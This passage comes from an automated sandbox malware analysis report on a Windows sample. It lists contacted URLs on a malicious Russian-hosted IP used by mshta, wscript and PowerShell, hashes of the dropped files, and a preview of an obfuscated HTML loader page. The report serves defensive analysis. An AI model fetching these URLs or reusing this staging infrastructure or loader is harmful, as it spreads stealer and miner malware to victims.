http://176.113.115.178/Windows-Update/l	mshta.exe, 0000000C.00000003.2289380947.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287264466.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290150546.000002AECD0F7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/1.png$TC=$TC.replace(	mshta.exe, 0000000C.00000003.2298065296.000002AECCF85000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2298938783.000002AECCF86000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2299398377.000002AECCF87000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2296225919.000002AECCF83000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2299546441.000002AECCF89000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/n	mshta.exe, 0000000C.00000002.2308865314.000002A6CABA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290227750.000002A6CABA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-UpdateU	mshta.exe, 0000000C.00000003.2294382542.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308571523.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287051707.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Updateai	wscript.exe, 00000009.00000002.2256453688.0000022C20C90000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Updated.exj	mshta.exe, 0000000C.00000002.2309157369.000002A6CAD60000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Updatemshta	mshta.exe, 0000000C.00000002.2308438812.000002A6CAAD0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.1150	wscript.exe, 00000004.00000003.2188071581.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000003.2187242940.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000002.2194375546.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000003.2189720210.000001D049241000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/CMD.png	powershell.exe, 00000005.00000002.2240161447.0000015F81670000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://176.113.115.178/Windows-Update/a	mshta.exe, 0000000C.00000003.2299936329.000002AECCF8D000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.2240161447.0000015F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF628D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2349548172.000001D12D181000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178	powershell.exe, 00000005.00000002.2240161447.0000015F81670000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2240161447.0000015F81631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF63F3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF63B21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026801668000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.00000268019D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026801631000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Updatee	mshta.exe, 0000000C.00000003.2294382542.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308571523.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287051707.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Updateq	mshta.exe, 0000000C.00000002.2308438812.000002A6CAAD0000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
176.113.115.178	unknown	Russian Federation		49505	SELECTELRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577458
Start date and time:	2024-12-18 13:48:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	61
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	5
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.spyw.expl.evad.winEXE@74/28@0/2
EGA Information:	Successful, ratio: 46.7%
HCA Information:	Successful, ratio: 66% Number of executed functions: 147 Number of non-executed functions: 307
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 23.35.236.109, 13.107.246.63, 20.31.169.57, 20.12.23.50, 40.126.53.12, 20.190.177.23, 2.16.158.186, 20.223.35.26, 150.171.27.10, 2.16.158.176, 4.245.163.56
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target file.exe, PID 6492 because it is empty
Execution Graph export aborted for target mshta.exe, PID 7444 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 404 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7616 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7784 because it is empty
Execution Graph export aborted for target powershell.exe, PID 936 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:49:08	API Interceptor	236x Sleep call for process: powershell.exe modified
07:49:16	API Interceptor	225x Sleep call for process: svchost.exe modified
07:49:16	API Interceptor	1x Sleep call for process: mshta.exe modified
07:50:36	API Interceptor	19197x Sleep call for process: winlogon.exe modified
07:50:37	API Interceptor	11120x Sleep call for process: lsass.exe modified
07:50:38	API Interceptor	870x Sleep call for process: dialer.exe modified
07:50:42	API Interceptor	101x Sleep call for process: dwm.exe modified
07:50:43	API Interceptor	36x Sleep call for process: WmiPrvSE.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
176.113.115.178	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	176.113.115.178/M.png
176.113.115.178	file.exe	Get hash	malicious	Unknown	Browse	176.113.115.178/FF/M.png

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ax-0001.ax-msedge.net	R0SkdJNujW.exe	Get hash	malicious	Unknown	Browse	150.171.28.10
	index.html.docx	Get hash	malicious	Unknown	Browse	150.171.27.10
	99awhy8l.exe	Get hash	malicious	LummaC	Browse	150.171.28.10
	Opdxdyeul.exe	Get hash	malicious	SystemBC	Browse	150.171.27.10
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	150.171.28.10
	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse	150.171.28.10
	pt8GJiNZDT.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	billi_e58d74e455634dc695ed8a7b8b320325.exe.dom_1.exe	Get hash	malicious	Metasploit	Browse	150.171.28.10
	https://mail.donotreply.biz/XWW04VVZpU2JyWTFmVy96T2RUOUEvcEhyMWhFSm5uZElnVUlmb2dTZEdMRFdGSU1UV2V3S3RUNGdrNmNQRFJ4WTFPRHdYYlkraDV3S1YyVVpuU3E3K2p1bWowcEt3M24ySVBLanRDUkwyYitYWExuYTB5YlhVTUhySWZKbGJCTE9oRHl2RCtjR29BbEk3ZEwxZFJaNmNoK29ESk0vTGcxSmtyK0FWTExLWTdxYlQ1Yys1bjNiTUczY0RnPT0tLTU2R0pFM1VwZFRnVndZSWktLXptU2lWOHlQdjR0eGI1K09OQVZtRnc9PQ==?cid=2315575162	Get hash	malicious	KnowBe4	Browse	150.171.27.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SELECTELRU	InstallSetup.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	176.113.115.178
	rHrG691f7q.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	TN78WX7nJU.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	XIaCqh1vRm.exe	Get hash	malicious	LummaC	Browse	176.113.115.19

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\Mig\Mig.exe	YSU1PShcKh.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\Mig\Mig.exe	file.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Roaming\LB31.exe	YSU1PShcKh.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Roaming\LB31.exe	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35901589905449205
Encrypted:	false
SSDEEP:	6:6xKdoaaD0JOCEfMuaaD0JOCEfMKQmDCexKdoaaD0JOCEfMuaaD0JOCEfMKQmDC:6aaD0JcaaD0JwQQHaaD0JcaaD0JwQQ
MD5:	C788EDB928436D0CE10A5BF198837D8A
SHA1:	F104B6AB797E0B16362BFB69F5000407CE6EFFD8
SHA-256:	E309925E38D727B91C5B0AD9FC86A778ECD0EBE80261F55E870AD6685B0CC0BD
SHA-512:	61F750C97F2E1EAF623486147F55B4BF39C34DF28DD124FA378973965A2AE0AAA967D71C88BE0D02E1B2D2B22E20199B9E817BE793A10C0CC9D12FE703E18CF2
Malicious:	false
Preview:	*.>...........k.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................k.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7304559054061529
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0z:9JZj5MiKNnNhoxue
MD5:	384077B9DA38069E86D4F62471FAC087
SHA1:	5A09671C03F4984AFDC431DF46659128829D26A1
SHA-256:	478103389BF029047A5B70DE14132A2B7E8113C09E802EE78D16C1E70B7D6E19
SHA-512:	623242DBF063612257F4DCAAAB23492FCC72748AD3439EE1D6E76C2AE8D96CD24B8B770C091F96C0C4E6CDFCBD9873FD7687240C0E96EB80C6F67F94D9C0DB60
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x174494f0, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6291525008124815
Encrypted:	false
SSDEEP:	1536:XSB2ESB2SSjlK/HZH03N9Jdt8gYkr3g16l2UPkLk+kDWyrufTRryrUOLUzCJ:Xaza9iJa+2UtmOQOL
MD5:	6E09AC636A9558E76A091EF747A45E01
SHA1:	A98CDFBCCAC9397475277E33A20935221A6F03E2
SHA-256:	A312E083D1E845DF724725DD0DF0351B7FB3ADFCBA912276CA9D04AAB87D237D
SHA-512:	C219D6568AC79388A1E272A65B15387CE8AA4483EB466B88FCAF041E3B3D99532E3A2EF81BBE076749C95A56800F1455320A177CB3604B05AACB670FB4D8ED19
Malicious:	false
Preview:	.D..... .......P.......X\...;...{......................0.j......2...\|...1...\|3.h.g......2...\|..0.j.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{.....................................;.2...\|...................E.a.2...\|...........................#......0.j.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07880683543203926
Encrypted:	false
SSDEEP:	3:8WsetYeCqXel/lsp3pZTp33ewQel/lNE8pZZel/lAllHol///lZMPCyH:PlzHXeXsZ39eQXNzZeXApo5
MD5:	CB11C80A13B4749775BDBD34BECBD436
SHA1:	4A4AA91F14D553E8B79787212A67DF7C66658312
SHA-256:	D13AD5EA27E2FC6121667A1FC2247024366E13361C7BC58F815AB20BF04304D4
SHA-512:	36437C982983C682FE1A2FA7260EFDCB4EF89AE6891F5D375C08F8EB3B2816426004EB2B282A7675A9A5B3455B89C0D7EB6A626DF954124FB1A2B69815EB42E7
Malicious:	false
Preview:	..P......................................;...{...1...\|Q..2...\|...........2...\|e..2...\|...j.j.2...\|...................E.a.2...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Mig\Mig.exe

Download File

Process:	C:\Users\user\AppData\Roaming\LB31.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7679488
Entropy (8bit):	7.744308216067832
Encrypted:	false
SSDEEP:	196608:/UUPSHwaRhOgwVPj04wfOAlM69LJDuHF:dKHwgt+Pov7y
MD5:	C9E6AA21979D5FC710F1F2E8226D9DFE
SHA1:	D881F97A1FE03F43BED2A9609EAE65531CF710CF
SHA-256:	A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D
SHA-512:	9E90BCB64B0E1F03E05990CDEAD076B4C6E0B050932ECB953DAE50B7E92B823A80FC66D1FD8753591719E89B405757B2BF7518814BC6A19BB745124D1A691627
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Joe Sandbox View:	Filename: YSU1PShcKh.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...^n.e.........."..........xT...............@.....................................u...`...................................................U.......S.f... ..............."..............................`"..(................................................... . ..S.......R.................@....rsrc...f.....S.......R.............@....idata ......U.......S.............@... ..8...U.......S.............@...ndryujmp.p!..`...f!...S.............@...tnyudguu............*u.............@....pdata.I............,u.............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.355760272568367
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2FDkwIyp1v:Q3La/KDLI4MWuPXcp1v
MD5:	FC3575D5BE1A5405683DC33B66D36243
SHA1:	1C816D34B7D5B96E077DC3EF640BA8C7BA370502
SHA-256:	1D7F7FBA862417A1D0351C1BF454F1A9BB0ED7FFD5DF1112EED802C01BDDA50C
SHA-512:	68914FE00F8550A623074F9ACC31ACEF8A3F6DFDDBD9FDA23512079BEC5E8A4D4E82BC8CD8D536E6C88F4DA3A704AC376785B44343BD3BED83E440857A3C0164
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Windows-Update[1].htm

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	161
Entropy (8bit):	4.980309038898113
Encrypted:	false
SSDEEP:	3:8ROFKGQIeNi1Xbvx9M84JxeCAIuREg7F6nmqDmqTLU4JYyMLDIVAbSWFq:AYSI0MXLxu2CAIuh7FUKq0uYyMLDIVAe
MD5:	DA90A75321A8193233003438B1DAB7A5
SHA1:	8F9F189590A922C4EBE5A735F85435DC362A1130
SHA-256:	DCC1653B695959F3F7B566F53A134C70BA8FF86C107527071E8828CFB94036DB
SHA-512:	EE8972F41FF5321B0F75756009CCD8E4EA69B1C241DF05F6CA29BE9C8A9BCBF06F3B07A24B9874BA666FC9704CC1EFDEE1ADC95EF2B5380C4269792D1F05E600
Malicious:	false
Preview:	<head><title>Document Moved</title></head>.<body><h1>Object Moved</h1>This document may be found <a HREF="http://176.113.115.178/Windows-Update/">here</a></body>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Windows-Update[1].htm

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	10664
Entropy (8bit):	6.134513776825802
Encrypted:	false
SSDEEP:	192:+YKhyHCOb7CpMLu0MrjudlN/CuinQH934cGuTVMesKYVpTASADZEQljylBA7vlB:+YKvOfC6LuZHufRiQHSJDKAYWAH
MD5:	D1D2728A935CE257444EA29E2F415DDB
SHA1:	F1368BEEACD3A4D7B2028468882349B7F512ECB4
SHA-256:	7D54C72806EC720A53F26128BA22D8F261594FFB06BDEC8C1C0B6C8A33D3DBD9
SHA-512:	58ADDC3CB83D57E1827CF7A895025F8FE634CB8F28E5AFDC90895E0185235975D79B639A68DE74BD0442D7D5290DD4F8399137350B3380E0E7B2E54F90D103D3
Malicious:	false
Preview:	<html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><meta http-equiv='expires' content=''><script>l1l=document.documentMode\|\|document.all;var c6efa=true;ll1=document.layers;lll=window.sidebar;c6efa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');c6efa\|=lII;zLP=location.protocol+'0FD';pHcl5jBGPFb='kmOsd6OpxRj6';</script><script>la0Q6t4=new Array();la0Q6t4[0]='\151\130%34\150\101p%38%35%41S%55O';o4Jfj0q=new Array();o4Jfj0q[0]='.<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C~..D.T.D. .X.H.T.M.L. .1...0. .T.r.a.n.s.i.t.i.o.n.a.l~..E.N."~.~\n.t.p.:~..w~B...w.3...o.r.g./.T.R./.x~\n~..1./~..D~N~P.l.1.-.t~-~/~1~3~5.l...d.t.d.".>.\r.\n.<~W. .x~.~/.=."~=~?~A~C~E~G~I./

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fpoqur3.zdh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4aths2ad.4bp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5wrtjuho.m21.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bq2zehub.nxm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cx3c11fl.imw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h3kioott.wnd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
